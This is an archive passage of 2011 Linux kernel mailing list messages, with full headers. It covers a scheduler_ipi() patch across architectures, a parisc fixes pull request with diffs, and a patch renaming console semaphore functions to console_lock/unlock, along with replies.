>  void smp_send_reschedule(int cpu)
>  {
> -	/* See sparc64 */
> +	scheduler_ipi();
>  }
>  
>  void smp_send_stop(void)
> diff --git a/arch/sparc/kernel/smp_64.c b/arch/sparc/kernel/smp_64.c
> index b6a2b8f..68e26e2 100644
> --- a/arch/sparc/kernel/smp_64.c
> +++ b/arch/sparc/kernel/smp_64.c
> @@ -1369,6 +1369,7 @@ void smp_send_reschedule(int cpu)
>  void __irq_entry smp_receive_signal_client(int irq, struct pt_regs *regs)
>  {
>  	clear_softint(1 << irq);
> +	scheduler_ipi();
>  }
>  
>  /* This is a nop because we capture all other cpus
> diff --git a/arch/tile/kernel/smp.c b/arch/tile/kernel/smp.c
> index 9575b37..91a1ddf 100644
> --- a/arch/tile/kernel/smp.c
> +++ b/arch/tile/kernel/smp.c
> @@ -190,6 +190,7 @@ static irqreturn_t handle_reschedule_ipi(int irq, void *token)
>  	 * profiler count in the meantime.
>  	 */
>  	__get_cpu_var(irq_stat).irq_resched_count++;
> +	scheduler_ipi();
>  
>  	return IRQ_HANDLED;
>  }
> diff --git a/arch/um/kernel/smp.c b/arch/um/kernel/smp.c
> index 106bf27..eefb107 100644
> --- a/arch/um/kernel/smp.c
> +++ b/arch/um/kernel/smp.c
> @@ -173,7 +173,7 @@ void IPI_handler(int cpu)
>  			break;
>  
>  		case 'R':
> -			set_tsk_need_resched(current);
> +			scheduler_ipi();
>  			break;
>  
>  		case 'S':
> diff --git a/arch/x86/kernel/smp.c b/arch/x86/kernel/smp.c
> index 513deac..e38c2d8 100644
> --- a/arch/x86/kernel/smp.c
> +++ b/arch/x86/kernel/smp.c
> @@ -202,6 +202,7 @@ void smp_reschedule_interrupt(struct pt_regs *regs)
>  {
>  	ack_APIC_irq();
>  	inc_irq_stat(irq_resched_count);
> +	scheduler_ipi();
>  	/*
>  	 * KVM uses this interrupt to force a cpu out of guest mode
>  	 */
> diff --git a/arch/x86/xen/smp.c b/arch/x86/xen/smp.c
> index 72a4c79..6196fb1 100644
> --- a/arch/x86/xen/smp.c
> +++ b/arch/x86/xen/smp.c
> @@ -53,6 +53,7 @@ static irqreturn_t xen_call_function_single_interrupt(int irq, void *dev_id);
>  static irqreturn_t xen_reschedule_interrupt(int irq, void *dev_id)
>  {
>  	inc_irq_stat(irq_resched_count);
> +	scheduler_ipi();
>  
>  	return IRQ_HANDLED;
>  }
> diff --git a/include/linux/sched.h b/include/linux/sched.h
> index 341acbb..aa458dc 100644
> --- a/include/linux/sched.h
> +++ b/include/linux/sched.h
> @@ -2183,6 +2183,7 @@ extern void set_task_comm(struct task_struct *tsk, char *from);
>  extern char *get_task_comm(char *to, struct task_struct *tsk);
>  
>  #ifdef CONFIG_SMP
> +static inline void scheduler_ipi(void) { }
>  extern unsigned long wait_task_inactive(struct task_struct *, long match_state);
>  #else
>  static inline unsigned long wait_task_inactive(struct task_struct *p,

From - Thu Nov 08 21:06:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>
Newsgroups: gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.virtualization,gmane.comp.emulators.xen.devel,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] sched: provide scheduler_ipi()
 callback in response to smp_send_reschedule()
Date: Mon, 17 Jan 2011 21:43:03 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <1295296983.30950.369.camel@laptop>
References: <1295262433.30950.53.camel@laptop>
	<1295296310.2148.29.camel@pasglop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1295297045 9389 80.91.229.12 (17 Jan 2011 20:44:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 17 Jan 2011 20:44:05 +0000 (UTC)
Cc: linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
        linux-m32r-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
        "H. Peter
	Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Linux-Arch <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Jesper Nilsson <jesper.nilsson-VrBV9hrLPhE@public.gmane.org>, Mikael-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org,
        Russell King <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>, Takata <takata-TMSiXQfHlQjsTix1lMzHGQ@public.gmane.org>,
        x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
        virtualization-qjLDD68F18O7TbgM5vRIOg@public.gmane.org, Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        xen-devel-GuqFBffKawuULHF6PoxzQEEOCMrvLtNR@public.gmane.org, Chris-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org,
        Matt Turner <mattst88-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
        uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org,
        Fen
To: Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>
Original-X-From: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org Mon Jan 17 21:43:47 2011
Return-path: <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
Envelope-to: glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from blackfin.uclinux.org ([204.50.165.247])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>)
	id 1PevvQ-0004AK-87
	for glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Mon, 17 Jan 2011 21:43:40 +0100
Original-Received: from blackfin.uclinux.org (blackfin.uclinux.org [127.0.0.1])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id p0HKhRDq022529;
	Mon, 17 Jan 2011 15:43:27 -0500
Original-Received: from casper.infradead.org (exim-FZi0V3Vbi30CUdFEqe4BF2D2FQJk+8+b@public.gmane.org [85.118.1.10])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP
	id p0HKhCGr022524 for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Mon, 17 Jan 2011 15:43:23 -0500
Original-Received: from j77219.upc-j.chello.nl ([24.132.77.219] helo=laptop)
	by casper.infradead.org with esmtpsa (Exim 4.72 #1 (Red Hat Linux))
	id 1PevuB-0000p9-1r; Mon, 17 Jan 2011 20:42:23 +0000
Original-Received: by laptop (Postfix, from userid 1000)
	id A8C1E1033A261; Mon, 17 Jan 2011 21:43:03 +0100 (CET)
In-Reply-To: <1295296310.2148.29.camel@pasglop>
X-Mailer: Evolution 2.30.3 
X-BeenThere: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <uclinux-dist-devel.blackfin.uclinux.org>
List-Unsubscribe: <https://blackfin.uclinux.org/mailman/options/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=unsubscribe>
List-Archive: <http://blackfin.uclinux.org/pipermail/uclinux-dist-devel>
List-Post: <mailto:uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
List-Help: <mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=help>
List-Subscribe: <https://blackfin.uclinux.org/mailman/listinfo/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=subscribe>
Original-Sender: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Errors-To: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Xref: news.gmane.org gmane.linux.hardware.blackfin.kernel.devel:5092 gmane.linux.ports.mips.general:30035 gmane.linux.ports.ia64:21539 gmane.linux.ports.sh.devel:9858 gmane.linux.ports.sparc:14193 gmane.linux.kernel.cross-arch:8850 gmane.linux.kernel.virtualization:11200 gmane.comp.emulators.xen.devel:97213 gmane.linux.uml.devel:12680 gmane.linux.uml.user:13879 gmane.linux.ports.arm.kernel:102858 gmane.linux.ports.parisc:3396 gmane.linux.kernel:1088465 gmane.linux.ports.alpha:1306 gmane.linux.ports.ppc64.devel:72086
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.blackfin.kernel.devel/5092>

On Tue, 2011-01-18 at 07:31 +1100, Benjamin Herrenschmidt wrote:
> 
> Beware of false positive, I've used "fake" reschedule IPIs in the past
> for other things (like kicking a CPU out of sleep state for unrelated
> reasons). Nothing that I know that is upstream today but some of that
> might come back. I'd like to avoid having to add an atomic to know if
> it's a real reschedule, will the scheduler be smart enough to not bother
> with false positives ? 

Yes it can deal with that, some will be for reschedules, some will be
for ttwu tail ends and x86 too uses this ipi for a few random other
things like kicking kvm out of guest context..

From - Thu Nov 08 21:06:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc fixes for 2.6.38-rc1
Date: Tue, 18 Jan 2011 11:35:48 -0600
Lines: 80
Approved: news@gmane.org
Message-ID: <1295372148.9752.174.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1295372163 29169 80.91.229.12 (18 Jan 2011 17:36:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 18 Jan 2011 17:36:03 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 18 18:35:55 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PfFTE-0004hi-8Q
	for glpp-linux-parisc@lo.gmane.org; Tue, 18 Jan 2011 18:35:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752854Ab1ARRfv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Jan 2011 12:35:51 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:44428 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752647Ab1ARRfv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Jan 2011 12:35:51 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 9BA1A8EE0F5;
	Tue, 18 Jan 2011 09:35:50 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id F6gQKBIP7QI3; Tue, 18 Jan 2011 09:35:50 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 177DA8EE0CD;
	Tue, 18 Jan 2011 09:35:50 -0800 (PST)
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3397 gmane.linux.kernel:1088770
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3397>

This is just a couple of minor parisc specific fixes.  One for a console
line wrap issue and the other for the transparent hugepages compile
failure.  We've run these through our usual build and boot checks.

The patches are here:

master.kernel.org:/pub/scm/linux/kernel/git/jejb/parisc-2.6.git#fixes

The short changelog is:

Guy Martin (1):
      parisc : Remove broken line wrapping handling pdc_iodc_print()

James Bottomley (1):
      parisc: fix compile breakage caused by inlining maybe_mkwrite

And the diffstat:

 arch/parisc/include/asm/pgtable.h |    4 +++-
 arch/parisc/kernel/firmware.c     |   13 +------------
 2 files changed, 4 insertions(+), 13 deletions(-)

Full diffs are below.

James

---

diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index 865f37a..6f1f65d 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -10,11 +10,13 @@
  * we simulate an x86-style page table for the linux mm code
  */
 
-#include <linux/mm.h>		/* for vm_area_struct */
 #include <linux/bitops.h>
+#include <linux/spinlock.h>
 #include <asm/processor.h>
 #include <asm/cache.h>
 
+struct vm_area_struct;
+
 /*
  * kern_addr_valid(ADDR) tests if ADDR is pointing to valid kernel
  * memory.  For the return value to be meaningful, ADDR must be >=
diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index df971fa..4896ed0 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -1126,15 +1126,13 @@ int pdc_iodc_print(const unsigned char *str, unsigned count)
 	unsigned int i;
 	unsigned long flags;
 
-	for (i = 0; i < count && i < 79;) {
+	for (i = 0; i < count;) {
 		switch(str[i]) {
 		case '\n':
 			iodc_dbuf[i+0] = '\r';
 			iodc_dbuf[i+1] = '\n';
 			i += 2;
 			goto print;
-		case '\b':	/* BS */
-			i--; /* overwrite last */
 		default:
 			iodc_dbuf[i] = str[i];
 			i++;
@@ -1142,15 +1140,6 @@ int pdc_iodc_print(const unsigned char *str, unsigned count)
 		}
 	}
 
-	/* if we're at the end of line, and not already inserting a newline,
-	 * insert one anyway. iodc console doesn't claim to support >79 char
-	 * lines. don't account for this in the return value.
-	 */
-	if (i == 79 && iodc_dbuf[i-1] != '\n') {
-		iodc_dbuf[i+0] = '\r';
-		iodc_dbuf[i+1] = '\n';
-	}

From - Thu Nov 08 21:06:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <gregkh@suse.de>
Newsgroups: gmane.linux.kernel.virtualization,gmane.comp.emulators.xen.devel,gmane.linux.ports.parisc,gmane.linux.ports.geode,gmane.linux.ports.arm.omap,gmane.linux.ports.arm.kernel,gmane.comp.video.dri.devel,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] change acquire/release_console_sem() to
	console_lock/unlock()
Date: Thu, 20 Jan 2011 08:34:48 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <20110120163448.GA30588@suse.de>
References: <1295539104-13210-1-git-send-email-torbenh@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1295541428 23794 80.91.229.12 (20 Jan 2011 16:37:08 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 20 Jan 2011 16:37:08 +0000 (UTC)
Cc: xen-devel@lists.xensource.com, Kees Cook <kees.cook@canonical.com>,
        linux-fbdev@vger.kernel.org, Sascha Hauer <s.hauer@pengutronix.de>,
        James Hogan <james@albanarts.com>, David Airlie <airlied@linux.ie>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Jesse Barnes <jbarnes@virtuousgeek.org>,
        James Morris <jmorris@namei.org>,
        Grant Likely <grant.likely@secretlab.ca>,
        Paul Mackerras <paulus@samba.org>, linux-parisc@vger.kernel.org,
        Magnus Damm <damm@opensource.se>, Jiri Slaby <jslaby@suse.cz>,
        Dan Williams <dan.j.williams@intel.com>, devel@driverdev.osuosl.org,
        Guy Martin <gmsoft@tuxicoman.be>,
        Kuninori Morimoto <kuninori.morimoto.gx@renesas.com>,
        Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>,
        Russell King <linux@arm.linux.org.uk>, Thomas Gleixner <tglx@tglx.de>,
        Wu
To: Torben Hohn <torbenh@gmx.de>
Original-X-From: virtualization-bounces@lists.linux-foundation.org Thu Jan 20 17:36:46 2011
Return-path: <virtualization-bounces@lists.linux-foundation.org>
Envelope-to: glkv-virtualization@gmane.org
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <virtualization-bounces@lists.linux-foundation.org>)
	id 1PfxV3-0004qn-LA
	for glkv-virtualization@gmane.org; Thu, 20 Jan 2011 17:36:42 +0100
Original-Received: from daredevil.linux-foundation.org (localhost [127.0.0.1])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id p0KGZXhE021609;
	Thu, 20 Jan 2011 08:35:34 -0800
Original-Received: from mx1.suse.de (cantor.suse.de [195.135.220.2])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with
	ESMTP id p0KGZGUW021583
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK)
	for <virtualization@lists.linux-foundation.org>;
	Thu, 20 Jan 2011 08:35:18 -0800
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.221.2])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 1970794393;
	Thu, 20 Jan 2011 17:35:11 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <1295539104-13210-1-git-send-email-torbenh@gmx.de>
User-Agent: Mutt/1.5.20 (2009-06-14)
Received-SPF: pass (localhost is always allowed.)
X-Spam-Status: No, hits=-105.622 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL,USER_IN_WHITELIST
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.21
X-BeenThere: virtualization@lists.linux-foundation.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: Linux virtualization <virtualization.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linux-foundation.org/mailman/listinfo/virtualization>,
	<mailto:virtualization-request@lists.linux-foundation.org?subject=unsubscribe>
List-Archive: <http://lists.linux-foundation.org/pipermail/virtualization>
List-Post: <mailto:virtualization@lists.linux-foundation.org>
List-Help: <mailto:virtualization-request@lists.linux-foundation.org?subject=help>
List-Subscribe: <https://lists.linux-foundation.org/mailman/listinfo/virtualization>,
	<mailto:virtualization-request@lists.linux-foundation.org?subject=subscribe>
Original-Sender: virtualization-bounces@lists.linux-foundation.org
Errors-To: virtualization-bounces@lists.linux-foundation.org
Xref: news.gmane.org gmane.linux.kernel.virtualization:11240 gmane.comp.emulators.xen.devel:97390 gmane.linux.ports.parisc:3399 gmane.linux.ports.geode:270 gmane.linux.ports.arm.omap:50562 gmane.linux.ports.arm.kernel:103399 gmane.comp.video.dri.devel:53598 gmane.linux.kernel:1089757 gmane.linux.ports.ppc64.devel:72161
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.virtualization/11240>

On Thu, Jan 20, 2011 at 04:58:13PM +0100, Torben Hohn wrote:
> the -rt patches change the console_semaphore to console_mutex.
> so a quite large chunk of the patches changes all
> acquire/release_console_sem() to acquire/release_console_mutex()

Why not just change the functionality of the existing function to be a
mutex in the rt patches, instead of having to rename it everywhere?

> this commit makes things use more neutral function names
> which dont make implications about the underlying lock.
> 
> the only real change is the return value of console_trylock
> which is inverted from try_acquire_console_sem()
> 
> Signed-off-by: Torben Hohn <torbenh@gmx.de>
> CC: Thomas Gleixner <tglx@tglx.de>

I don't mind this rename, but is it really going to help anything out?
What's the odds of the -rt portion of this patch ever making it to
mainline?

thanks,

greg k-h

From - Thu Nov 08 21:06:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Torben Hohn <torbenh@gmx.de>
Newsgroups: gmane.comp.video.dri.devel,gmane.linux.kernel,gmane.comp.emulators.xen.devel,gmane.linux.ports.parisc,gmane.linux.ports.geode,gmane.linux.ports.arm.omap,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH] change acquire/release_console_sem() to console_lock/unlock()
Date: Thu, 20 Jan 2011 16:58:13 +0100
Lines: 2699
Approved: news@gmane.org
Message-ID: <1295539104-13210-1-git-send-email-torbenh@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1295544353 8908 80.91.229.12 (20 Jan 2011 17:25:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 20 Jan 2011 17:25:53 +0000 (UTC)
Cc: xen-devel@lists.xensource.com, Kees Cook <kees.cook@canonical.com>,
	linux-fbdev@vger.kernel.org,
	Mark Brown <broonie@opensource.wolfsonmicro.com>,
	Sascha Hauer <s.hauer@pengutronix.de>, James Hogan <james@albanarts.com>,
	James Morris <jmorris@namei.org>, Grant Likely <grant.likely@secretlab.ca>,
	Paul Mackerras <paulus@samba.org>, linux-parisc@vger.kernel.org,
	Jiri Slaby <jslaby@suse.cz>, Dan Williams <dan.j.williams@intel.com>,
	linux-geode@lists.infradead.org, devel@driverdev.osuosl.org,
	Guy Martin <gmsoft@tuxicoman.be>,
	Kuninori Morimoto <kuninori.morimoto.gx@renesas.com>,
	Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>,
	Russell King <linux@arm.linux.org.uk>, Thomas Gleixner <tglx@tglx.de>,
	Wu Zhangjin <wuzhangjin@gmail.com>,
	Florian Tobias Schandinat <FlorianSchandinat@gmx.de>,
	Lionel Debroux <lionel_debroux@yahoo.fr>,
	Helge Deller <deller@gmx.de>, Kay Sievers <
To: linux-kernel@vger.kernel.org
Original-X-From: dri-devel-bounces+sf-dri-devel=m.gmane.org@lists.freedesktop.org Thu Jan 20 18:25:30 2011
Return-path: <dri-devel-bounces+sf-dri-devel=m.gmane.org@lists.freedesktop.org>
Envelope-to: sf-dri-devel@m.gmane.org
Original-Received: from gabe.freedesktop.org ([131.252.210.177])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <dri-devel-bounces+sf-dri-devel=m.gmane.org@lists.freedesktop.org>)
	id 1PfyGE-0006T8-UC
	for sf-dri-devel@m.gmane.org; Thu, 20 Jan 2011 18:25:28 +0100
Original-Received: from gabe.freedesktop.org (localhost [127.0.0.1])
	by gabe.freedesktop.org (Postfix) with ESMTP id 7A7959EB3E
	for <sf-dri-devel@m.gmane.org>; Thu, 20 Jan 2011 09:25:24 -0800 (PST)
X-Original-To: dri-devel@lists.freedesktop.org
Delivered-To: dri-devel@lists.freedesktop.org
Original-Received: from mailout-de.gmx.net (mailout-de.gmx.net [213.165.64.23])
	by gabe.freedesktop.org (Postfix) with SMTP id 359B59E9D3
	for <dri-devel@lists.freedesktop.org>;
	Thu, 20 Jan 2011 07:59:49 -0800 (PST)
Original-Received: (qmail invoked by alias); 20 Jan 2011 15:59:44 -0000
Original-Received: from d90-136-199-101.cust.tele2.de (EHLO siel.b) [90.136.199.101]
	by mail.gmx.net (mp069) with SMTP; 20 Jan 2011 16:59:44 +0100
X-Authenticated: #911537
X-Provags-ID: V01U2FsdGVkX1+RoyQKj2iRh5mD576niChFHjj+TPpKm2mC3zwFLw
	CUl4d7SwqKLpiD
Original-Received: from torbenh by siel.b with local (Exim 4.72)
	(envelope-from <torbenh@gmx.de>)
	id 1PfwuQ-0003S6-2c; Thu, 20 Jan 2011 16:58:50 +0100
X-Mailer: git-send-email 1.7.2.3
X-Y-GMX-Trusted: 0
X-Mailman-Approved-At: Thu, 20 Jan 2011 09:24:48 -0800
X-BeenThere: dri-devel@lists.freedesktop.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: Direct Rendering Infrastructure - Development
	<dri-devel.lists.freedesktop.org>
List-Unsubscribe: <http://lists.freedesktop.org/mailman/options/dri-devel>,
	<mailto:dri-devel-request@lists.freedesktop.org?subject=unsubscribe>
List-Archive: <http://lists.freedesktop.org/archives/dri-devel>
List-Post: <mailto:dri-devel@lists.freedesktop.org>
List-Help: <mailto:dri-devel-request@lists.freedesktop.org?subject=help>
List-Subscribe: <http://lists.freedesktop.org/mailman/listinfo/dri-devel>,
	<mailto:dri-devel-request@lists.freedesktop.org?subject=subscribe>
Original-Sender: dri-devel-bounces+sf-dri-devel=m.gmane.org@lists.freedesktop.org
Errors-To: dri-devel-bounces+sf-dri-devel=m.gmane.org@lists.freedesktop.org
Xref: news.gmane.org gmane.comp.video.dri.devel:53599 gmane.linux.kernel:1089786 gmane.comp.emulators.xen.devel:97403 gmane.linux.ports.parisc:3400 gmane.linux.ports.geode:271 gmane.linux.ports.arm.omap:50565 gmane.linux.ports.arm.kernel:103409 gmane.linux.ports.ppc64.devel:72169
Archived-At: <http://permalink.gmane.org/gmane.comp.video.dri.devel/53599>

the -rt patches change the console_semaphore to console_mutex.
so a quite large chunk of the patches changes all
acquire/release_console_sem() to acquire/release_console_mutex()

this commit makes things use more neutral function names
which dont make implications about the underlying lock.

the only real change is the return value of console_trylock
which is inverted from try_acquire_console_sem()

Signed-off-by: Torben Hohn <torbenh@gmx.de>
CC: Thomas Gleixner <tglx@tglx.de>
---
 arch/arm/mach-omap2/pm24xx.c           |    4 +-
 arch/arm/mach-omap2/pm34xx.c           |    4 +-
 arch/arm/mach-omap2/serial.c           |    4 +-
 arch/parisc/kernel/pdc_cons.c          |    4 +-
 drivers/char/bfin_jtag_comm.c          |    8 +-
 drivers/gpu/drm/nouveau/nouveau_drv.c  |    8 +-
 drivers/gpu/drm/radeon/radeon_device.c |   10 ++--
 drivers/serial/sb1250-duart.c          |    2 +-
 drivers/staging/msm/msm_fb.c           |    8 +-
 drivers/staging/olpc_dcon/olpc_dcon.c  |   10 ++--
 drivers/staging/sm7xx/smtcfb.c         |    8 +-
 drivers/tty/tty_io.c                   |    4 +-
 drivers/tty/vt/selection.c             |    4 +-
 drivers/tty/vt/vc_screen.c             |   16 ++--
 drivers/tty/vt/vt.c                    |  124 ++++++++++++++++----------------
 drivers/tty/vt/vt_ioctl.c              |   60 ++++++++--------
 drivers/video/arkfb.c                  |   12 ++--
 drivers/video/aty/aty128fb.c           |   12 ++--
 drivers/video/aty/atyfb_base.c         |   10 ++--
 drivers/video/aty/radeon_pm.c          |   10 ++--
 drivers/video/chipsfb.c                |    8 +-
 drivers/video/console/fbcon.c          |   42 ++++++------
 drivers/video/da8xx-fb.c               |    8 +-
 drivers/video/fbmem.c                  |   12 ++--
 drivers/video/fbsysfs.c                |   20 +++---
 drivers/video/geode/gxfb_core.c        |    8 +-
 drivers/video/geode/lxfb_core.c        |    8 +-
 drivers/video/i810/i810_main.c         |    8 +-
 drivers/video/jz4740_fb.c              |    8 +-
 drivers/video/mx3fb.c                  |    8 +-
 drivers/video/nvidia/nvidia.c          |    8 +-
 drivers/video/ps3fb.c                  |   16 ++--
 drivers/video/s3fb.c                   |   16 ++--
 drivers/video/savage/savagefb_driver.c |    8 +-
